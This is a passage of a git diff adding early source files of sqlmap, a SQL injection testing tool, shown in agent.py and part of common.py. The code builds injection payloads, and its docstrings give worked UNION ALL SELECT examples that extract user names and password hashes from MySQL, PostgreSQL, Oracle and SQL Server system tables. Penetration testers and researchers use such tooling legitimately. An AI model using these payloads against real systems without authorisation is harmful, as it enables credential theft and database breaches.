+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/core/agent.py b/lib/core/agent.py
new file mode 100644
index 000000000..c056099c2
--- /dev/null
+++ b/lib/core/agent.py
@@ -0,0 +1,385 @@
+#!/usr/bin/env python
+
+"""
+$Id: agent.py 357 2008-09-21 18:52:16Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import queries
+from lib.core.data import temp
+from lib.core.exception import sqlmapNoneDataException
+from lib.core.exception import sqlmapUnsupportedDBMSException
+
+
+class Agent:
+ """
+ This class defines the SQL agent methods.
+ """
+
+ def __init__(self):
+ temp.delimiter = randomStr(6)
+ temp.start = randomStr(6)
+ temp.stop = randomStr(6)
+
+
+ def payload(self, place=None, parameter=None, value=None, newValue=None):
+ """
+ This method replaces the affected parameter with the SQL
+ injection statement to request
+ """
+
+ retValue = ""
+
+ # After identifing the injectable parameter
+ if kb.injPlace == "User-Agent":
+ retValue = kb.injParameter.replace(kb.injParameter,
+ kb.injParameter + newValue)
+ elif kb.injParameter:
+ paramString = conf.parameters[kb.injPlace]
+ paramDict = conf.paramDict[kb.injPlace]
+ value = paramDict[kb.injParameter]
+ retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
+ "%s=%s" % (kb.injParameter, value + newValue))
+
+ # Before identifing the injectable parameter
+ elif parameter == "User-Agent":
+ retValue = value.replace(value, newValue)
+ else:
+ paramString = conf.parameters[place]
+ retValue = paramString.replace("%s=%s" % (parameter, value),
+ "%s=%s" % (parameter, newValue))
+
+ return retValue
+
+
+ def prefixQuery(self, string):
+ """
+ This method defines how the input string has to be escaped
+ to perform the injection depending on the injection type
+ identified as valid
+ """
+
+ query = ""
+
+ if kb.injType == "numeric":
+ pass
+ elif kb.injType in ( "stringsingle", "likesingle" ):
+ query = "'"
+ elif kb.injType in ( "stringdouble", "likedouble" ):
+ query = "\""
+ else:
+ raise sqlmapNoneDataException, "unsupported injection type"
+
+ if kb.parenthesis != None:
+ query += "%s " % (")" * kb.parenthesis)
+
+ query += string
+
+ return query
+
+
+ def postfixQuery(self, string, comment=None):
+ """
+ This method appends the DBMS comment to the
+ SQL injection request
+ """
+
+ randInt = randomInt()
+ randStr = randomStr()
+
+ if comment:
+ string += "%s" % comment
+
+ if kb.parenthesis != None:
+ string += " AND %s" % ("(" * kb.parenthesis)
+ else:
+ raise sqlmapNoneDataException, "unable to get the number of parenthesis"
+
+ if kb.injType == "numeric":
+ string += "%d=%d" % (randInt, randInt)
+ elif kb.injType == "stringsingle":
+ string += "'%s'='%s" % (randStr, randStr)
+ elif kb.injType == "likesingle":
+ string += "'%s' LIKE '%s" % (randStr, randStr)
+ elif kb.injType == "stringdouble":
+ string += "\"%s\"=\"%s" % (randStr, randStr)
+ elif kb.injType == "likedouble":
+ string += "\"%s\" LIKE \"%s" % (randStr, randStr)
+ else:
+ raise sqlmapNoneDataException, "unsupported injection type"
+
+ return string
+
+
+ def nullAndCastField(self, field):
+ """
+ Take in input a field string and return its processed nulled and
+ casted field string.
+
+ Examples:
+
+ MySQL input: VERSION()
+ MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
+ MySQL scope: VERSION()
+
+ PostgreSQL input: VERSION()
+ PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
+ PostgreSQL scope: VERSION()
+
+ Oracle input: banner
+ Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
+ Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
+
+ Microsoft SQL Server input: @@VERSION
+ Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
+ Microsoft SQL Server scope: @@VERSION
+
+ @param field: field string to be processed
+ @type field: C{str}
+
+ @return: field string nulled and casted
+ @rtype: C{str}
+ """
+
+ nulledCastedField = queries[kb.dbms].cast % field
+ nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
+
+ return nulledCastedField
+
+
+ def nullCastConcatFields(self, fields):
+ """
+ Take in input a sequence of fields string and return its processed
+ nulled, casted and concatenated fields string.
+
+ Examples:
+
+ MySQL input: user,password
+ MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
+ MySQL scope: SELECT user, password FROM mysql.user
+
+ PostgreSQL input: usename,passwd
+ PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
+ PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
+
+ Oracle input: COLUMN_NAME,DATA_TYPE
+ Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
+ Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
+
+ Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
+ Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
+ Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
+
+ @param fields: fields string to be processed
+ @type fields: C{str}
+
+ @return: fields string nulled, casted and concatened
+ @rtype: C{str}
+ """
+
+ if not kb.dbmsDetected:
+ return fields
+
+ fields = fields.replace(", ", ",")
+ fieldsSplitted = fields.split(",")
+ dbmsDelimiter = queries[kb.dbms].delimiter
+ nulledCastedFields = []
+
+ for field in fieldsSplitted:
+ nulledCastedFields.append(self.nullAndCastField(field))
+
+ delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
+ nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
+
+ return nulledCastedConcatFields
+
+
+ def getFields(self, query):
+ fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
+ fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
+ fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
+ fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
+ fieldsNoSelect = query
+
+ if fieldsSelectTop:
+ fieldsToCast = fieldsSelectTop.groups()[0]
+ elif fieldsSelectDistinct:
+ fieldsToCast = fieldsSelectDistinct.groups()[0]
+ elif fieldsSelectFrom:
+ fieldsToCast = fieldsSelectFrom.groups()[0]
+ elif fieldsSelect:
+ fieldsToCast = fieldsSelect.groups()[0]
+ elif fieldsNoSelect:
+ fieldsToCast = fieldsNoSelect
+
+ return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
+
+
+ def concatQuery(self, query):
+ """
+ Take in input a query string and return its processed nulled,
+ casted and concatenated query string.
+
+ Examples:
+
+ MySQL input: SELECT user, password FROM mysql.user
+ MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
+
+ PostgreSQL input: SELECT usename, passwd FROM pg_shadow
+ PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
+
+ Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
+ Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
+
+ Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
+ Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
+
+ @param query: query string to be processed
+ @type query: C{str}
+
+ @return: query string nulled, casted and concatenated
+ @rtype: C{str}
+ """
+
+ concatQuery = ""
+ query = query.replace(", ", ",")
+
+ fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
+ castedFields = self.nullCastConcatFields(fieldsToCast)
+ concatQuery = query.replace(fieldsToCast, castedFields, 1)
+
+ if kb.dbms == "MySQL":
+ if fieldsSelectFrom:
+ concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
+ concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
+ elif fieldsSelect:
+ concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
+ concatQuery += ",'%s')" % temp.stop
+ elif fieldsNoSelect:
+ concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
+
+ elif kb.dbms in ( "Oracle", "PostgreSQL" ):
+ if fieldsSelectFrom:
+ concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
+ concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
+ elif fieldsSelect:
+ concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
+ concatQuery += "||'%s'" % temp.stop
+
+ if kb.dbms == "Oracle":
+ concatQuery += " FROM DUAL"
+ elif fieldsNoSelect:
+ concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
+
+ if kb.dbms == "Oracle":
+ concatQuery += " FROM DUAL"
+
+ elif kb.dbms == "Microsoft SQL Server":
+ if fieldsSelectFrom:
+ concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
+ concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
+ elif fieldsSelect:
+ concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
+ concatQuery += "+'%s'" % temp.stop
+ elif fieldsNoSelect:
+ concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
+
+ return concatQuery
+
+
+ def forgeInbandQuery(self, query, exprPosition=None):
+ """
+ Take in input an query (pseudo query) string and return its
+ processed UNION ALL SELECT query.
+
+ Examples:
+
+ MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
+ MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
+
+ PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
+ PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
+
+ Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
+ Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
+
+ Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
+ Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
+
+ @param query: it is a processed query string unescaped to be
+ forged within an UNION ALL SELECT statement
+ @type query: C{str}
+
+ @param exprPosition: it is the NULL position where it is possible
+ to inject the query
+ @type exprPosition: C{int}
+
+ @return: UNION ALL SELECT query string forged
+ @rtype: C{str}
+ """
+
+ inbandQuery = self.prefixQuery("UNION ALL SELECT ")
+
+ if not exprPosition:
+ exprPosition = kb.unionPosition
+
+ if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
+ inbandQuery = inbandQuery[:-len(" FROM DUAL")]
+
+ for element in range(kb.unionCount):
+ if element > 0:
+ inbandQuery += ", "
+
+ if element == exprPosition:
+ if " FROM " in query:
+ conditionIndex = query.rindex(" FROM ")
+ inbandQuery += "%s" % query[:conditionIndex]
+ else:
+ inbandQuery += "%s" % query
+ else:
+ inbandQuery += "NULL"
+
+ if " FROM " in query:
+ conditionIndex = query.rindex(" FROM ")
+ inbandQuery += "%s" % query[conditionIndex:]
+
+ if kb.dbms == "Oracle":
+ if " FROM " not in inbandQuery:
+ inbandQuery += " FROM DUAL"
+
+ if " ORDER BY " in inbandQuery:
+ orderIndex = inbandQuery.index(" ORDER BY ")
+ inbandQuery = inbandQuery[:orderIndex]
+
+ inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
+
+ return inbandQuery
+
+
+# SQL agent
+agent = Agent()
diff --git a/lib/core/common.py b/lib/core/common.py
new file mode 100644
index 000000000..d4164d810
--- /dev/null
+++ b/lib/core/common.py
@@ -0,0 +1,549 @@
+#!/usr/bin/env python
+
+"""
+$Id: common.py 368 2008-09-30 00:09:59Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import os
+import random
+import re
+import string
+import sys
+import time
+import urlparse
+
+
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import temp
+from lib.core.exception import sqlmapFilePathException
+from lib.core.data import paths
+from lib.core.settings import VERSION_STRING
+
+
+def paramToDict(place, parameters=None):
+ """
+ Split the parameters into names and values, check if these parameters
+ are within the testable parameters and return in a dictionary.
+
+ @param place: where sqlmap has to work, can be GET, POST or Cookie.
+ @type place: C{str}
+
+ @param parameters: parameters string in the format for instance
+ 'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie).
+ @type parameters: C{str}
+
+ @return: the parameters in a dictionary.
+ @rtype: C{str}
+ """
+
+ testableParameters = {}
+
+ if conf.parameters.has_key(place) and not parameters:
+ parameters = conf.parameters[place]
+
+ parameters = parameters.replace(", ", ",")
+
+ if place == "Cookie":
+ splitParams = parameters.split(";")
+ else:
+ splitParams = parameters.split("&")
+
+ for element in splitParams:
+ elem = element.split("=")
+
+ if len(elem) == 2:
+ parameter = elem[0]
+
+ condition = not conf.testParameter
+ condition |= parameter in conf.testParameter
+
+ if condition:
+ value = elem[1]
+ if value:
+ testableParameters[parameter] = value
+
+ if conf.testParameter and not testableParameters:
+ paramStr = ", ".join(test for test in conf.testParameter)
+
+ if len(conf.testParameter) > 1:
+ warnMsg = "the testable parameters '%s' " % paramStr
+ warnMsg += "you provided are not into the %s" % place
+ else:
+ parameter = conf.testParameter[0]
+
+ warnMsg = "the testable parameter '%s' " % paramStr
+ warnMsg += "you provided is not into the %s" % place
+
+ if conf.googleDork:
+ warnMsg += ", skipping to next url"
+
+ logger.warn(warnMsg)
+
+ elif len(conf.testParameter) != len(testableParameters.keys()):
+ for parameter in conf.testParameter:
+ if not testableParameters.has_key(parameter):
+ warnMsg = "the testable parameter '%s' " % parameter
+ warnMsg += "you provided is not into the %s" % place
+ logger.warn(warnMsg)
+
+ return testableParameters
+
+
+def formatFingerprint(versions=None):
+ """
+ This function format the back-end DBMS fingerprint value and return its
+ values formatted as a human readable string.
+
+ @return: detected back-end DBMS based upon fingerprint techniques.
+ @rtype: C{str}
+ """
+
+ if not versions:
+ versions = kb.dbmsVersion
+
+ if isinstance(versions, str):
+ return "%s %s" % (kb.dbms, versions)
+ elif isinstance(versions, (list, set, tuple)):
+ return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
+
+
+def getHtmlErrorFp():
+ """
+ This function parses the knowledge base htmlFp list and return its
+ values formatted as a human readable string.
+
+ @return: list of possible back-end DBMS based upon error messages
+ parsing.
+ @rtype: C{str}
+ """
+
+ htmlParsed = ""
+
+ if not kb.htmlFp:
+ return None
+
+ if len(kb.htmlFp) == 1:
+ htmlVer = kb.htmlFp[0]
+ htmlParsed = htmlVer
+ elif len(kb.htmlFp) > 1:
+ htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
+
+ return htmlParsed
+
+
+def getDocRoot():
+ """
+ This method returns the web application document root based on the
+ detected absolute files paths in the knowledge base.
+ """
+
+ docRoot = None
+
+ if kb.absFilePaths:
+ logMsg = "retrieved the possible injectable "
+ logMsg += "file absolute system paths: "
+ logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
+ logger.info(logMsg)
+ else:
+ warnMsg = "unable to retrieve the injectable file "
+ warnMsg += "absolute system path"
+ logger.warn(warnMsg)
+
+ for absFilePath in kb.absFilePaths:
+ if conf.path in absFilePath:
+ index = absFilePath.index(conf.path)
+ docRoot = absFilePath[:index]
+ break
+
+ if docRoot:
+ logMsg = "retrieved the remote web server "
+ logMsg += "document root: '%s'" % docRoot
+ logger.info(logMsg)
+ else:
+ warnMsg = "unable to retrieve the remote web server "
+ warnMsg += "document root"
+ logger.warn(warnMsg)
+
+ return docRoot
+
+
+def getDirectories():
+ """
+ This method calls a function that returns the web application document
+ root and injectable file absolute system path.
+
+ @return: a set of paths (document root and absolute system path).
+ @rtype: C{set}
+ @todo: replace this function with a site crawling functionality.
+ """
+
+ directories = set()
+
+ kb.docRoot = getDocRoot()
+
+ if kb.docRoot:
+ directories.add(kb.docRoot)
+
+ pagePath = re.search('^/(.*)/', conf.path)
+
+ if kb.docRoot and pagePath:
+ pagePath = pagePath.groups()[0]
+
+ directories.add("%s/%s" % (kb.docRoot, pagePath))
+
+ return directories
+
+
+def filePathToString(filePath):
+ string = filePath.replace("/", "_").replace("\\", "_")
+ string = string.replace(" ", "_").replace(":", "_")
+
+ return string
+
+
+def dataToStdout(data):
+ sys.stdout.write(data)
+ sys.stdout.flush()
+
+
+def dataToSessionFile(data):
+ conf.sessionFP.write(data)
+ conf.sessionFP.flush()
+
+
+def dataToDumpFile(dumpFile, data):
+ dumpFile.write(data)
+ dumpFile.flush()
+
+
+def strToHex(string):
+ """
+ @param string: string to be converted into its hexadecimal value.
+ @type string: C{str}
+
+ @return: the hexadecimal converted string.
+ @rtype: C{str}
+ """
+
+ hexStr = ""
+
+ for character in string:
+ if character == "\n":
+ character = " "
+
+ hexChar = "%2x" % ord(character)
+ hexChar = hexChar.replace(" ", "0")
+ hexChar = hexChar.upper()
+
+ hexStr += hexChar
+
+ return hexStr
+
+
+def fileToStr(fileName):
+ """
+ @param fileName: file path to read the content and return as a no
+ NEWLINE string.
+ @type fileName: C{file.open}
+
+ @return: the file content as a string without TAB and NEWLINE.
+ @rtype: C{str}
+ """
+
+ filePointer = open(fileName, "r")
+ fileText = filePointer.read()
+
+ fileText = fileText.replace(" ", "")
+ fileText = fileText.replace("\t", "")
+ fileText = fileText.replace("\r", "")
+ fileText = fileText.replace("\n", " ")
+
+ return fileText
+
+
+def fileToHex(fileName):
+ """
+ @param fileName: file path to read the content and return as an
+ hexadecimal string.
+ @type fileName: C{file.open}
+
+ @return: the file content as an hexadecimal string.
+ @rtype: C{str}
+ """
+
+ fileText = fileToStr(fileName)
+ hexFile = strToHex(fileText)
+
+ return hexFile
+
+
+def readInput(message, default=None):
+ """
+ @param message: message to display on terminal.
+ @type message: C{str}
+
+ @return: a string read from keyboard as input.
+ @rtype: C{str}
+ """
+
+ if conf.batch and default:
+ infoMsg = "%s%s" % (message, str(default))
+ logger.info(infoMsg)
+
+ debugMsg = "used the default behaviour, running in batch mode"
+ logger.debug(debugMsg)
+
+ data = default
+ else:
+ data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
+
+ return data
+
+
+def randomRange(start=0, stop=1000):
+ """
+ @param start: starting number.
+ @type start: C{int}
+
+ @param stop: last number.
+ @type stop: C{int}
+
+ @return: a random number within the range.
+ @rtype: C{int}
+ """
+
+ return int(random.randint(start, stop))
+
+
+def randomInt(length=4):
+ """
+ @param length: length of the random string.
+ @type length: C{int}
+
+ @return: a random string of digits.
+ @rtype: C{str}
+ """
+
+ return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
+
+
+def randomStr(length=5):
+ """
+ @param length: length of the random string.
+ @type length: C{int}
+
+ @return: a random string of characters.
+ @rtype: C{str}
+ """
+
+ return "".join([random.choice(string.letters) for _ in xrange(0, length)])
+
+
+def sanitizeStr(string):
+ """
+ @param string: string to sanitize: cast to str datatype and replace
+ newlines with one space and strip carriage returns.
+ @type string: C{str}
+
+ @return: sanitized string
+ @rtype: C{str}
+ """
+
+ cleanString = str(string)
+ cleanString = cleanString.replace("\n", " ").replace("\r", "")
+
+ return cleanString
+
+
+def checkFile(filename):
+ """
+ @param filename: filename to check if it exists.
+ @type filename: C{str}
+ """
+
+ if not os.path.exists(filename):
+ raise sqlmapFilePathException, "unable to read file '%s'" % filename
+
+
+def replaceNewlineTabs(string):
+ replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
+ replacedString = replacedString.replace(temp.delimiter, "__DEL__")
+
+ return replacedString
+
+
+def banner():
+ """
+ This function prints sqlmap banner with its version
+ """
+
+ print """
+ %s coded by Bernardo Damele A. G.
+ and Daniele Bellucci
+ """ % VERSION_STRING
+
+
+def parsePasswordHash(password):
+ blank = " " * 8
+
+ if not password or password == " ":
+ password = "NULL"
+
+ if kb.dbms == "Microsoft SQL Server" and password != "NULL":
+ hexPassword = password
+ password = "%s\n" % hexPassword
+ password += "%sheader: %s\n" % (blank, hexPassword[:6])
+ password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
+ password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
+
+ if kb.dbmsVersion[0] not in ( "2005", "2008" ):
+ password += "%suppercase: %s" % (blank, hexPassword[54:])
+
+ return password
+
+
+def cleanQuery(query):
+ upperQuery = query.replace("select ", "SELECT ")
+ upperQuery = upperQuery.replace(" from ", " FROM ")
+ upperQuery = upperQuery.replace(" limit ", " LIMIT ")
+ upperQuery = upperQuery.replace(" offset ", " OFFSET ")
+ upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
+ upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
+ upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
+
+ return upperQuery
+
+
+def setPaths():
+ # sqlmap paths
+ paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
+ paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
+ paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
+ paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
+ paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
+ paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
+
+ # sqlmap files
+ paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
+ paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
+ paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
+ paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
+ paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
+ paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
+
+
+def weAreFrozen():
+ """
+ Returns whether we are frozen via py2exe.
+ This will affect how we find out where we are located.
+ Reference: http://www.py2exe.org/index.cgi/WhereAmI
+ """
+
+ return hasattr(sys, "frozen")
+
+
+def parseTargetUrl():
+ """
+ Parse target url and set some attributes into the configuration
+ singleton.
+ """
+
+ if not conf.url:
+ return
+
+ if not re.search("^http[s]*://", conf.url):
+ if ":443/" in conf.url:
+ conf.url = "https://" + conf.url
+ else:
+ conf.url = "http://" + conf.url
+
+ __urlSplit = urlparse.urlsplit(conf.url)
+ __hostnamePort = __urlSplit[1].split(":")
+
+ conf.scheme = __urlSplit[0]
+ conf.path = __urlSplit[2]
+ conf.hostname = __hostnamePort[0]
+
+ if len(__hostnamePort) == 2:
+ conf.port = int(__hostnamePort[1])
+ elif conf.scheme == "https":
+ conf.port = 443
+ else:
+ conf.port = 80
+
+ if __urlSplit[3]:
+ conf.parameters["GET"] = __urlSplit[3]
+
+ conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
+
+
+def expandAsteriskForColumns(expression):
+ # If the user provided an asterisk rather than the column(s)
+ # name, sqlmap will retrieve the columns itself and reprocess
+ # the SQL query string (expression)
+ asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
+
+ if asterisk:
+ infoMsg = "you did not provide the fields in your query. "
+ infoMsg += "sqlmap will retrieve the column names itself"
+ logger.info(infoMsg)
+
+ conf.db = asterisk.group(1)
+ conf.tbl = asterisk.group(2)
+ columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
+
+ if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
+ columns = columnsDict[conf.db][conf.tbl].keys()
+ columns.sort()
